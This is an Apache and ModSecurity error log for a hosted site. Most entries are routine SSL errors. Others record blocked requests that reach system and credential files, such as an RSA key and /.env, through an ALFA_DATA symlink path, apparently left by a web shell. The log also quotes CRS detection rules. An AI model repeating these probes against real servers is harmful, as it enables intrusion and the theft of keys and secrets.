[Sat Oct 24 19:56:28.373363 2026] [security2:error] [pid 2707149:tid 2707149] [client 216.244.66.250:53872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at1FrDr66i8lbh-yPykDNAAAAAA"]
[Sat Oct 24 19:56:34.177469 2026] [ssl:error] [pid 2707162:tid 2707162] (22)Invalid argument: [client 44.223.115.10:26551] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:56:38.194345 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.229.95.193:45565] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:56:46.183537 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.86.59.155:4859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:56:50.266042 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.224.205.25:46367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:56:54.209223 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.218.103.254:43974] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:57:02.175782 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.224.205.25:40665] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:57:06.323603 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.22.64.232:2878] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:57:14.448321 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.207.207.36:57050] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:57:22.284872 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.5.232.250:7138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:57:54.181726 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 107.20.255.194:60944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:14.468667 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.199:44024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/ftpd-rsa-key.pem
[Sat Oct 24 19:58:18.420659 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.210.223.61:28436] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:26.600248 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 50.16.216.166:21708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:30.295473 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.232.102.111:20075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:34.184747 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.236.135.14:55572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:46.352681 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 18.213.240.226:32266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:10/eject
[Sat Oct 24 19:58:50.299329 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.220.148.166:31756] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:58:54.336752 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.210.58.238:52352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:06.208310 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.194.139.149:24677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:10.237759 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.231.156.59:35107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:17.819039 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.200:10240] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/shrink
[Sat Oct 24 19:59:26.441217 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.205.91.101:46451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:30.398477 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.204.71.8:24079] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:34.453008 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.217.255.167:46035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:46.264746 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.222.85.38:15342] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:50.639972 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 185.191.171.11:51200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:59:58.182035 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.87.95.7:18492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:10.313598 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.5.232.250:17141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:05.0/driver/0000:00:03.0/firmware_node/subsystem/drivers/hardware_error_device/uevent
[Sat Oct 24 20:00:11.957530 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.8:61038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/usersize
[Sat Oct 24 20:00:14.425180 2026] [ssl:error] [pid 2724376:tid 2724376] (5)Input/output error: [client 54.84.93.8:2385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:18.319195 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.58.41:8404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:22.187733 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 184.73.68.20:55706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/unbind
[Sat Oct 24 20:00:34.368495 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 107.23.62.75:59769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:38.163946 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 85.208.96.206:55410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:42.358463 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.223.116.149:24550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:50.461151 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.223.116.149:20905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:54.237855 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.83.180.239:41503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:00:58.434554 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 50.16.216.166:40150] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:01:03.070052 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.220.148.166:64185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:01:10.196192 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.224.132.215:36838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:01:24.134455 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:38834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/systemd-analyze"] [unique_id "at1G0favbqLdB7btCU-9DAAAABc"]
[Sat Oct 24 20:01:24.134522 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:38834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/bin/systemd-analyze"] [unique_id "at1G0favbqLdB7btCU-9DAAAABc"]
[Sat Oct 24 20:01:26.322239 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.200.251.20:64726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:01:41.187106 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.196:59560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/destroy_by_rcu
[Sat Oct 24 20:01:46.636823 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.220.148.166:22025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:02:06.306923 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 100.29.128.75:65260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/vmd/new_id
[Sat Oct 24 20:02:14.696944 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 184.73.167.217:63749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:13/eject
[Sat Oct 24 20:02:18.448390 2026] [security2:error] [pid 2692979:tid 2692979] [client 130.12.180.164:46250] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1HCvavbqLdB7btCU-9DgAAABc"]
[Sat Oct 24 20:02:18.448626 2026] [security2:error] [pid 2692979:tid 2692979] [client 130.12.180.164:46250] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1HCvavbqLdB7btCU-9DgAAABc"]
[Sat Oct 24 20:02:18.448979 2026] [security2:error] [pid 2692979:tid 2692979] [client 130.12.180.164:46250] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1HCvavbqLdB7btCU-9DgAAABc"]
[Sat Oct 24 20:02:30.446691 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 3.210.29.96:7892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:01/subsystem/uevent
[Sat Oct 24 20:02:34.200048 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 54.84.161.62:50089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:02:42.242703 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 35.171.117.160:44501] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:02:54.184683 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.88.84.219:6032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:02:58.198322 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.233.219.155:28363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:02.336992 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.23.214.190:60514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:06.264526 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 52.200.58.199:46954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:07.649051 2026] [security2:error] [pid 2693035:tid 2693035] [client 43.131.26.226:47090] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_zacatecas_1.html"] [unique_id "at1HO93lMH_Ldre-PZttcAAAACk"]
[Sat Oct 24 20:03:18.484347 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.173.18.61:8122] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:30.324223 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.6.97.88:50578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:31.433785 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.200:30966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/slab_size
[Sat Oct 24 20:03:34.766033 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.196:35594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/slab_size
[Sat Oct 24 20:03:38.202544 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.210.58.238:62285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:03:51.564516 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.209:33864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma/validate
[Sat Oct 24 20:03:54.030500 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 85.208.96.210:34142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/removeacct
[Sat Oct 24 20:04:02.204374 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.152.163.42:27143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:10.314488 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 23.21.175.228:29782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:18.468926 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.175.228:40888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:22.576603 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.211.148.239:34318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:26.265183 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.71.203.206:51536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:34.350349 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.164.106.236:61333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:04:46.256232 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.18:32164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/aliases
[Sat Oct 24 20:04:58.223884 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.70.209.13:63455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:05:18.263328 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.194.165.45:15026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:05:26.296786 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 52.71.218.25:60118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/ACPI0010:00/subsystem/drivers/tpm_crb/bind
[Sat Oct 24 20:05:34.260311 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.82.107.102:50255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:05:38.209412 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 35.169.119.108:43652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:06.197679 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.23.180.225:16386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:14.512159 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.205.74.196:58571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:18.349178 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.83.227:54939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:22.211205 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 3.216.86.144:19664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty12/subsystem/console/subsystem/ttyS3/uartclk
[Sat Oct 24 20:06:30.205151 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.205.163.103:58708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:50.165798 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.193.102.198:8084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:54.178841 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.233.219.155:38373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:55.606221 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.209:62964] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:06:58.174612 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.203.152.231:43350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:07:16.864300 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.211:28940] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-nonlatin.conf"] [unique_id "at1INHxUk1Q9Uwuht9UEJAAAAAE"]
[Sat Oct 24 20:07:16.864690 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.211:28940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-nonlatin.conf"] [unique_id "at1INHxUk1Q9Uwuht9UEJAAAAAE"]
[Sat Oct 24 20:07:16.865018 2026] [security2:error] [pid 2707162:tid 2707162] [client 85.208.96.211:28940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/65-nonlatin.conf"] [unique_id "at1INHxUk1Q9Uwuht9UEJAAAAAE"]
[Sat Oct 24 20:07:26.471974 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.233.114.237:65193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:07:34.355243 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.169.102.85:34164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:07:38.182403 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.232.36.1:63992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/PNP0A03:00/device:1a/"] [unique_id "at1ISnxUk1Q9Uwuht9UEJQAAAAE"]
[Sat Oct 24 20:07:38.182439 2026] [security2:error] [pid 2707162:tid 2707162] [client 18.232.36.1:63992] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/PNP0A03:00/device:1a/"] [unique_id "at1ISnxUk1Q9Uwuht9UEJQAAAAE"]
[Sat Oct 24 20:07:42.254785 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 3.220.148.166:21076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/piix4_smbus/0000:00:01.3/i2c-0/new_device
[Sat Oct 24 20:07:46.213267 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.213.85.234:57654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:20/subsystem/drivers/hardware_error_device/bind
[Sat Oct 24 20:07:50.212468 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.217.171.106:12982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:07:55.229395 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.196:20856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/cdrom/sections/__mcount_loc
[Sat Oct 24 20:07:58.679769 2026] [authz_core:error] [pid 2707162:tid 2707162] [client 172.232.108.36:55410] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:08:02.149520 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.223.115.10:48940] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:14.148958 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.94.156.104:35583] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:22.280753 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.227.156.153:31701] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:38.157017 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.229.2.217:63935] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:42.429352 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.83.240.58:10518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:50.156523 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.234.200.207:3238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:54.165479 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.81.253.213:52594] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:08:58.148479 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 18.215.77.19:30787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/device:14/eject
[Sat Oct 24 20:09:02.421902 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.214.176.44:39254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:10.202950 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.213.213.161:64170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:26.172339 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.84.200.43:21089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:30.381205 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 23.21.119.232:14703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:34.301815 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.91.122.193:27028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:42.256477 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.4.76.156:25822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:09:54.402549 2026] [ssl:error] [pid 2707162:tid 2707162] (5)Input/output error: [client 3.215.59.93:13368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:02.279530 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 34.199.252.22:54607] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:06.329570 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.84.147.79:54585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:10:14.232691 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.89.176.255:50720] AH02013: coalesce failed to read from data bucket
